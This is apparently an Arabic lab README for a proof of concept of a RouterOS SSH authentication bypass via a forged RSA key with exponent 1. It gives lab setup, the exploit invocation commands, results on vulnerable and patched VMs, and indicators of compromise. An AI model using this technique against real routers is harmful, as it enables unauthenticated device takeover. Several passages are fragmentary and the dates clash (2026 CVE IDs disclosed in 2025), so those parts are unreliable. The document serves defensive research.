
# مختبر إثبات المفهوم (PoC) لتجاوز المصادقة بالمفتاح العام SSH في RouterOS CVE-2026-67276
للاستخدام المخبري فقط. قم بالتشغيل حصريًا ضد نسخ RouterOS التي تمتلكها. مهاجمة الأجهزة التي لا تمتلكها جريمة (CFAA، المادة 267 البولندية، وما يعادلها).
كشف CERT PL (2025-09-05) عن ست ثغرات في RouterOS، تم استغلالها بنشاط في البرية كسلسلة "MikroTrick" (استيلاء كامل على الجهاز دون مصادقة عندما يكون SSH قابلًا للوصول عبر الإنترنت). تم إصلاحها بواسطة MikroTik في 2025-09-03 في 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | النوع | العيب الأساسي |
|---|
| 2026-67276 | CWE-347 (هذا PoC) | فحوصات مطابقة مفاتيح مصادقة SSH (نوع المفتاح، المعامل) لكنها تتجاهل الأس؛ التحقق من التوقيع يستخدم المفتاح المقدم من العميل ⇒ تزوير e=1 |
| 2026-86060 | CWE-88 | حقن وسائط عبر اسم مستخدم يبدأ بحرف محظور (-2 شوهد في سجلات الهجوم) ⇒ تغيير قناع السياسة ⇒ تصعيد الامتيازات |
| 2026-67279 | CWE-841 | يدخل SSH بروتوكول الاتصال بعد إعادة مفتاح يطلبها العميل دون إكمال مصادقة المستخدم ⇒ تنفيذ غير مصادق في مساحة الملفات |
| 2026-67277 | CWE-306 | حالة ما قبل المصادقة لاختبار النطاق الترددي + كشف مخزن مؤقت غير مهيأ + تجاوز سفلي للحجم ⇒ تسرب ذاكرة النواة / إعادة تشغيل |
| 2026-67278 | CWE-347 | X.509 يقبل توقيعات RSA/PKCS#1v1.5 مشوهة؛ مرساة ثقة e=3 ⇒ تزوير وسيط موثوق |
| 2026-67281 | CWE-824 | مؤشر رئيسي قديم غير مهيأ في WebFig /jsproxy + هروب مسار ⇒ قراءة ملفات الجذر |
النطاقات المعرضة (جميعها ستة): [7.24, 7.24.2)، [7.0.0, 7.23.4)، [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=الضحية} يجعل sig^1 mod n == sig، لذا
فإن "التوقيع" الصحيح هو ببساطة EMSA-PKCS1-v1_5(hash, authdata) — قابل للحساب
من قبل أي شخص يعرف معامل الضحية العام. لا حاجة لمفتاح خاص.الشروط المسبقة (الحد الأدنى من الإفصاح نفسه): اسم مستخدم الهدف + معامل RSA العام المصرح به لذلك المستخدم.
n لذلك المفتاح المصرح به (من .pub مسرب/ملتقط،
سجلات توفير، أو --modulus-hex). هذا هو المدخل الوحيد
شبه السري؛ المفتاح الخاص غير مطلوب أبدًا.ForgeKey — OpenSSH القياسي لا يمكنه).ssh-rsa على 6.x، rsa-sha2-256
أيضًا على 7.x).forge_67276.py — بدائي: تحليل مفاتيح OpenSSH العامة، مشفر EMSA RFC 8017،
بناة كتل/توقيعات مزورة، مدقق مرجعي RFC 8017.selftest.py — إثبات محلي، بدون موجه: المشفر مطابق بايتًا لبايت لـ OpenSSL
(عبر انعكاس التوقيع الحقيقي)، التوقيع المزور يتحقق عند e=1 وليس عند 65537،
محاكاة كاملة لشكل الأسلاك RFC 4252 §7. جميع الفحوصات الـ 15 ناجحة PASS.poc_67276.py — عميل paramiko ينفذ التجاوز (تثبيت الخوارزمية لكل اتصال؛
--lab-i-own-this-target مطلوب).console_setup.py — إعداد CHR لمرة واحدة عبر qemu serial telnet
(جلب مفتاح الضحية عبر 10.0.2.2، استيراد للمشرف، تمكين ssh).sanity_real_key.py — تحكم: مصادقة المفتاح العام العادية يجب أن تنجح أولًا.victim_rsa / victim.pub — زوج مفاتيح "ضحية" 2048-بت قابل للرمي؛
مستبعد عمدًا من Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/، جسر المضيف br0
(192.168.100.1/24) مع taps tap0-tap3؛ dnsmasq على br0 مع عقود إيجار لكل MAC.| VM | الصورة | IP الضيف | MAC | نفق جانب Mac |
|---|---|---|---|---|
| chr-6.49.20 | 6.x معرض | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 6.x مصحح | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 7.x معرض | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 7.x مصحح | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123، ومفتاح الضحية مستورد للمشرف. تم دفع تغييرات كلمة المرور الإجبارية عند أول تسجيل دخول
عبر SSH (bootstrap_password.py يقرأ الحوار) أو
مراقب QEMU sendkey (mon_type.py) — وحدة التحكم التسلسلية لـ CHR معطلة
افتراضيًا؛ وحدة تحكم VGA قابلة للقراءة فقط عبر مراقب screendump.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]إعادة التشغيل (مثال، VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # خط الأساس
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| الهدف | مفتاح خاص حقيقي (خط الأساس) | مفتاح e=1 مزور (PoC) |
|---|---|---|
| 7.23.3 | مصادقة OK | مصادقة OK + تنفيذ /system resource print — CVE مؤكد |
| 7.23.4 (مصحح) | مصادقة OK | مرفوض |
| 6.49.20 | مصادقة OK | مرفوض (انظر الفارق الدقيق) |
| 6.49.21 (مصحح) | خط أساس غير صالح | غير قابل للتفسير؛ الضيف قبل مصادقة SSH none |
بالنسبة لزوج 7.x، ينجح خط الأساس بالمفتاح الحقيقي على كلا البنائين، مصادقة SSH
none مرفوضة، تزوير بمعامل خاطئ مرفوض بواسطة 7.23.3،
وتزوير بالمعامل الصحيح ينجح فقط على 7.23.3. هذه مقارنة صحيحة
بين معرض ومصحح.
لم يتم تجهيز ضيف 6.49.21 كما هو موثق أثناء إعادة التحقق المستقلة:
بقي admin منتهي الصلاحية، /user ssh-keys print detail كان
فارغًا، وطلب SSH none بدون بيانات اعتماد نفذ أوامر. مفاتيح RSA حقيقية غير ذات صلة
ومفاتيح e=1 بمعامل خاطئ بدت أيضًا ناجحة.
أعد تجهيز هذا الضيف وتحقق من رفض none ومفتاح غير ذي صلة
قبل استخدامه كعنصر تحكم مصحح.
فارق النسخة الدقيق: على 6.49.20 ترفض مطابقة جانب الخادم كتلة e=1
(/log ssh,debug: can't find matching key for user: admin) — إغفال الأس
المكشوف لم يكن قابلاً للملاحظة في مطابق 6.x على الرغم من أن النطاق الشامل لـ CERT
يسرد [6.0.0, 6.49.21). مؤكد معرض: 7.23.3. مؤكد
مصحح: 7.23.4. حالة مختبر 6.49.21 الحالية لا تثبت أي نتيجة. نشاط
MikroTrick في البرية استهدف أيضًا أجهزة 7.x.
اكتشاف تنسيق الأسلاك (RFC 8332): سلسلة النوع الداخلية للكتلة تبقى
ssh-rsa حتى لخوارزميات توقيع rsa-sha2-256/512؛ خوارزمية التوقيع
تذهب فقط في حقل الخوارزمية الخارجي. تجاهل هذا يجعل الخادم
يفصل في منتصف مصادقة المستخدم (خطأ تحليل الكتلة) — لوحظ على كل من 6.x و 7.x.
يتعامل ForgeKey الخاص بـ PoC مع هذا، و --exp-enc aligned|canonical يبدل
عرض mpint لـ e=1 (1 مقابل 3 بايتات). على 7.23.3 كلا العرضين يصادقان —
المطابق يحلل الأس ويتجاهل قيمته حقًا. على 6.49.20 لا شيء
يصادق (can't find matching key) — انظر فارق النسخة أعلاه.
/system logging add topics=ssh,debug + /log print على جانب الخادم مع
hexdumps الحزم كشف كل هذا.
قيم SHA-256 لأرشيف الصور المصدرية المستخدمة في هذا المختبر:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh،
user <name> added by ssh:-2@<ip>؛ مستخدم غير معروف بصلاحيات عالية ops؛
علامة /system/device-mode/print "Flagged" (تشير إلى الاختراق، غيابها
لا يثبت شيئًا). عناوين IP المرصودة للمهاجمين: 82.192.72.4، 103.102.31.18.